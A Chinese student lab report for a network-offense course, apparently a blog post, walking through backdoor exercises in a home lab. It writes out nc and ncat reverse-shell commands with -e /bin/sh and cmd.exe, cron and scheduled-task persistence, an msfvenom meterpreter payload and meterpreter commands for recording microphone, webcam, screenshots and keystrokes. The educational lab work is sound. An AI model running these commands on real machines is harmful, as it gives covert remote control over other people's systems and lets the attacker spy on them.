Exp2 后门原理与实践

实践内容:###

  • 1使用nc实现win,Linux间的后门连接。 热身
  • 2使用netcat获取主机操作Shell,cron启动。
  • 3使用socat获取主机操作Shell, 任务计划启动。
  • 4使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 5使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

学习目标:

  • 通过亲手实践建立后门连接,加深对后门的了解与认识,从而提高自己的安全意识。

基础知识:

  • 后门就是不经过正常认证流程而访问系统的通道。存在于编译器、操作系统、应用程序中,还有潜伏于操作系统中或伪装为特定应用的专用后门程序。
  • 本实验用到的常用后门工具nc(或netcat、ncat)是一个底层工具,进行基本的TCP,UDP数据收发,常被与其他工具结合使用,起到后门的作用;socat是ncat的升级版,任何代理、转发等功能都可以用该工具实现。
  • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
  • MSF是能生成后门程序的平台,把后门的基本功能,扩展功能,编码模式,运行平台,以及运行参数全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。本次实验使用msfenom生成的这个后门程序是Meterpreter。

实践开始

1使用nc实现win,Linux间的后门连接###

首先使用ipconfigifconfig命令分别获得win,linux的ip地址:

1.1 Win获得Linux Shell

1.1.1windows 打开监听

c:\your_nc_dir>ncat.exe -l -p 4304
```*注意此处要进入ncat.exe的目录否则运行不了*
![](https://images2018.cnblogs.com/blog/1344109/201803/1344109-20180329111113325-1766855470.png)

1.1.2Linux反弹连接win

```nc 172.50.1.152 4304 -e /bin/sh

1.1.3windows下获得一个linux shell,可运行任何指令,如ls

1.2 Linux获得Win Shell

1.2.1Linux运行监听指令

1.2.2Windows反弹连接Linux

 ncat.exe -e cmd.exe 192.168.128.126 4304


1.2.3Linux下看到Windows的命令提示

2使用netcat获取主机操作Shell,cron启动

2.1在Windows系统下,监听4304端口
ncat.exe -l -p 4304

2.2在linux中使用crontab指令增加一条定时任务,"-e"表示编辑。crontab -e

因为是第一次编辑,故提示选择编辑器,选择3

2.3添加最后一行,在每个小时的第40分钟执行后面的那条指令。

40 * * * * /bin/netcat 192.168.1.105 8090 -e /bin/sh

2.4保存并退出后配置生效。通过rontab -l来查看,-l表示list。

2.5到了40分,获得了shell,如下,可执行ls、pwd

3使用socat获取主机操作Shell, 任务计划启动

3.1打开Windows->控制面板->系统和安全->管理工具->任务计划程序,如下:

3.2新建任务计划,填写任务名称:

3.3新建触发器,设置为工作站锁定时,并启用:


3.4新建操作,在程序或脚本中选择所下载的socat.exe文件路径,在添加参数中添加tcp-listen:4304 exec:cmd.exe,pty,stderr命令,这个命令的作用是把cmd.exe绑定到端口4304,同时把cmd.exe的stderr重定向到stdout上

3.5使用windows+L锁定计算机让新建的任务执行,如下:

3.6在linux中输入指令socat - tcp:172.30.1.152:4304,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4304端口,此时发现已经成功获取主机操作Shell:

4使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4.1使用msfenom生成后门可执行文件,输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.128 PORT=4304 -f exe > 20154304_backdoor.exe

其中-p 使用的payload,为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.LHOST是反弹回连的IP,即攻击机linux的IP地址,LPORT是回连的端口,-f是生成文件的类型, > 输出到哪个文件

4.2使用ncat将生成的文件复制到windows中,注意此时要关闭杀毒软件
在cmd中输入指令ncat.exe -l 4304 > 4304_backdoor.exe回车准备接收文件:

在kali中输入指令nc 172.30.1.152 4304 < 20154304_backdoor.exe发送文件:

复制成功如下:

4.3MSF打开监听进程,输入指令msfconsole启动用户操作界面:

4.4设置payload,LHOST,LPORT与生成的20154304_backdoor.exe一致
set payload windows/meterpreter/reverse_tcp,
set LHOST 192.168.126.128,
set LPORT 4304

4.5设置完成后,输入指令exploit执行监听,在windows中双击4304_backdoor.exe,Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell,如下:

5使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.1输入指令record_mic获得目标主机的一段音频:

5.2输入指令webcam_snap获取目标主机的摄像头拍照:webcam_list查看目标主机是否有摄像头


5.3输入指令webcam_stream获取目标主机的摄像头录像:

5.4输入指令screenshot在目标主机上截屏:

5.5输入指令keyscan_start获得目标主机的击键记录,keyscan_dump提取记录:

5.6输入指令getsystem提权失败了( ▼-▼ )

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 非官方网站下载程序,后门被捆绑在软件中
  • 意外点击钓鱼网站
  • U盘插入

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • win任务计划启动
  • linux cron启动

(3)Meterpreter有哪些给你映像深刻的功能?

  • 可以获取目标主机的摄像头......

(4)如何发现自己有系统有没有被安装后门?

  • 目前只知道杀毒软件...

实践收获###

本次实验感觉非常有趣,有意义,不过在实验中还是遇到了一些非常低级问题延缓了我的实验进度( ▼-▼ )......应该多动脑动手思考。并且让我第一次真正感受到了杀毒软件的重要性,一开始做的时候没关杀毒软件,点了信任,还是没有成功,关了再做才可以成功。我深刻的认识到了后门程序的可怕,以及网络对抗这门课程的重要性,要加强网络安全意识,在今后的课程中我会继续认真学习的~